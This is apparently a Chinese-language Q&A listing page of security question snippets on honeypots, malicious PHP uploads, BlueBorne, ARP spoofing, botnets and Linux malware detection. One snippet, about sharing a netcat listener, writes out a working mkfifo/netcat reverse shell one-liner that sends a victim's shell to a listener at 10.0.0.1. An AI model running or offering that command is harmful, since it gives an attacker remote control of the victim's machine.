1回答
交通重定向
redirect、snort、honeypot
我已经在我的linux系统上将snort设置为IDS。Kippo蜜罐安装在我的覆盆子圆周率。现在，每当snort检测到攻击时，我希望攻击者的IP被重定向到kippo蜜罐。我们如何将恶意流量重定向到蜜罐？
浏览 4提问于2017-03-29得票数 0
回答已采纳
2回答
跟踪恶意PHP脚本的来源
linux、php、webserver、apache
我在看一个运行Apache + mod_php的Linux服务器。晚上上传了一个恶意PHP脚本。它是Apache用户拥有的，我认为几乎可以肯定脚本是由我们现有的一些PHP代码中的漏洞生成的。我在Apache日志中查找了脚本上的点击量，从中获得了攻击者的IP。然后我搜索这个IP的其他活动..。没什么。我还搜索了来自同一个用户代理的点击量(以防攻击者通过代理进行连接)。没什么。因此，在第一次攻击恶意脚本的前几分钟，我对日志中的POST请求问题进行了处理，希
浏览 0提问于2016-04-27得票数 2
1回答
可以借到Netcat的侦听器吗？
tcp、backdoor
我一直在使用专门的软件或恶意命令进入备份计算机和服务器，这些命令会在目标计算机上产生后门，然后将终端传输到我服务器上的侦听netcat会话。最好是Linux机器。受害者会在他的Linux机器上运行一些命令，比如：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 9000 >/tmp/f假设10.0.0.1 IP地址是攻击
浏览 0提问于2017-03-14得票数 1
2回答
Ubuntu需要反恶意软件吗？
antivirus
我是Ubuntu的新手(12.10)，它需要反恶意软件吗? Ubuntu最好的反恶意软件是什么？我之所以问这个问题，是因为与Windows不同，Linux并不是黑客经常攻击的目标，因为Linux用户更精通技术，99%的时间都是如此。Linux没有像windows那样经常受到攻击，因为它没有一个庞大的用户社区。
浏览 0提问于2012-11-29得票数 2
1回答
如何通过与JAVA中的防火墙交互来阻止IP？
networking、firewall、java、springframework
我有一个网页界面，显示一个黑名单的IP。IP分为Web攻击、SIP攻击、SSH攻击、探测攻击和恶意软件。现在，我被要求阻止这个属于这些类别的IP。通过与防火墙的交互，有什么方法可以在java中实现呢？
浏览 0提问于2016-11-09得票数 1
1回答
如何保护Linux系统免受BlueBorne远程攻击？
linux、security、bluetooth、bluez、vulnerability
Linux披露了基于Linux的BlueBorne攻击操作系统中的两个漏洞，这些漏洞允许攻击者完全控制受感染的设备。第一个漏洞是信息泄漏漏洞，它可以帮助攻击者确定目标设备使用的确切版本，并相应地调整他的漏洞。第二种是堆栈溢出，可以导致设备的完全控制。
例如，所有启用蓝牙的设备都应该被标记为恶意设备。受感染的设备将创建恶意网络，使攻击者能够控制其蓝牙范围之外的所有设备。使用Linux系统上的蓝牙连接外围设备(键盘、鼠标、耳机等)将<em
浏览 0提问于2017-09-13得票数 20
回答已采纳
2回答
(内核)利用总是需要使用系统调用吗？
exploit、kernel
在这个线程中提到，内核利用通常使用syscalls来触发不想要的行为：是否有任何方法或已知的例子不使用syscalls？内核之外的程序呢？
浏览 0提问于2021-01-25得票数 0
2回答
警察或其他人是如何发现发生了Arp欺骗攻击的？
man-in-the-middle、forensics、arp-spoofing
如果您实时观察通信量，您可以看到执行MiTM攻击的攻击者进行ARP欺骗，因为MAC地址将被复制等等。而且，您可以看到所有的MAC地址，查看谁是路由器，并检查路由器的MAC地址是否匹配。假设攻击者在使用HTTPS的站点上窃取了一些银行帐户凭据。有可能吗？
浏览 0提问于2014-05-05得票数 1
回答已采纳
1回答
关于内核攻击的几个问题
windows、linux、android、macos、kernel
昨天我读到了一些关于内核和可能对它的攻击的文章。对于这种攻击方式，我有一些疑问：4.内核补丁攻击是
浏览 0提问于2017-02-09得票数 -1
1回答
如何在服务器中查找恶意图像？
xss、shellcode、session-management
最近，我在Linux服务器上的Drupal站点遭到了会话劫持攻击。我猜这些攻击来自包含恶意代码的图像，这些恶意代码上传到了web根目录，因为我通过查看上传的文件找到了一些精心制作的图像。
浏览 0提问于2014-01-21得票数 0
2回答
哪个是来自IoT设备的最危险和最受欢迎的僵尸网络？
botnet、iot
易于控制廉价的IoT设备，使他们成为制造僵尸网络来执行DDoS攻击的完美目标。这些信息中有多少是真的？哪个是最流行的IoT僵尸网络和攻击？
浏览 0提问于2018-04-23得票数 -1
回答已采纳
1回答
WUBI易受GOZeus和Cryptolocker等攻击吗？
windows、wubi、malware
GameoverZeus (P2PZeus)恶意软件和相关的Cryptolocker已被暂时阻止，但可能恢复其效力。据说Windows易受其攻击，但Linux不受攻击。
浏览 0提问于2014-06-15得票数 1
2回答
阻止IP地址，防止DoS攻击
denial-of-service
因此，这是一个关于防止DoS攻击的最佳实践的一般性问题，我只是想了解大多数人是如何处理来自同一IP地址的恶意请求的，而这正是我们目前面临的问题。我认为最好是尽可能高地拦截真正恶意IP的IP，以防止使用更多的资源，特别是在加载应用程序时。
有什么想法？
浏览 1提问于2010-08-28得票数 5
回答已采纳
1回答
Azure:我的哪些云服务有特定的IP地址？
azure、azure-cloud-services
我们有一个恶意的Azure云服务，它正在攻击我们的一个服务。
我们知道它的IP地址，但是给定它的IP地址，我们如何才能找到云服务的名称(即资源组)呢？
浏览 2提问于2016-04-28得票数 0
1回答
Whonix发行版是否对恶意Tor退出节点隐藏了真正的IP？
tor、whonix
如果流量通过恶意Tor退出节点，Whonix Linux发行版会隐藏您的IP地址吗?还是只隐藏针对恶意软件的IP地址？
浏览 0提问于2017-08-12得票数 -1
回答已采纳
1回答
多个孤立虚拟机的VirtualBox网络设置，其中只有一个可以访问internet
virtualbox、hacking、intranet、isolated-network
攻击机器: Kali Linux我希望我的攻击机器有互联网接入，它应该能够与目标机器通信(S)。但是我的目标机器(S)不应该有任何访问互联网或主机操作系统的权利，因为大多数时候它会包含一些恶意程序。此外，这些目标机器需要一个DHCP服务器来为它们分配IP。基本上，我想用我的攻击机器(kali)攻击这些目标机器，希望我的攻击机器能够访问互联网，而不是目标机器。目标VM将从互联网上下载
浏览 0提问于2022-09-28得票数 0
回答已采纳
1回答
网络漏洞扫描器是主动的还是被动的？
vulnerability-scanners、web-scanners
我想扫描我自己的网站的漏洞使用Vega和w3af从卡利linux。我假设这些工具执行主动攻击，而不是被动攻击。这是正确的吗？
如果它们确实对站点执行主动攻击以查找漏洞，那么有效负载是否是恶意的？
浏览 0提问于2014-07-25得票数 0
回答已采纳
1回答
如何检测linux中的恶意软件
malware、linux、antivirus
是否有方法检测linux服务器中的rootkit/恶意软件？对于windows用户来说，最简单的方法是将其留给防病毒/反恶意软件应用程序，但是当您拥有一台在敌对环境中使用了很长时间的Linux计算机时，如何确保您没有受到黑客攻击/监视，并且您的数据没有受到破坏。
浏览 0提问于2018-06-08得票数 4
回答已采纳
1回答
为什么Bogons在DDos攻击中会被优先考虑？
ip、ddos
我目前正在阅读的文献指出，Bogons通常被攻击者在进行DDos攻击时使用。我搜索了一些解释，唯一能找到的就是“博贡人很难追溯到攻击者的IP”。我的问题是，如果攻击者可以自由选择要欺骗的IP，为什么不使用不属于攻击者的随机非Bogon呢？Bogon相对于非Bogon的优势是什么？
浏览 0提问于2021-09-03得票数 1
回答已采纳
云服务器
ICP备案
对象存储
云点播
实时音视频
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号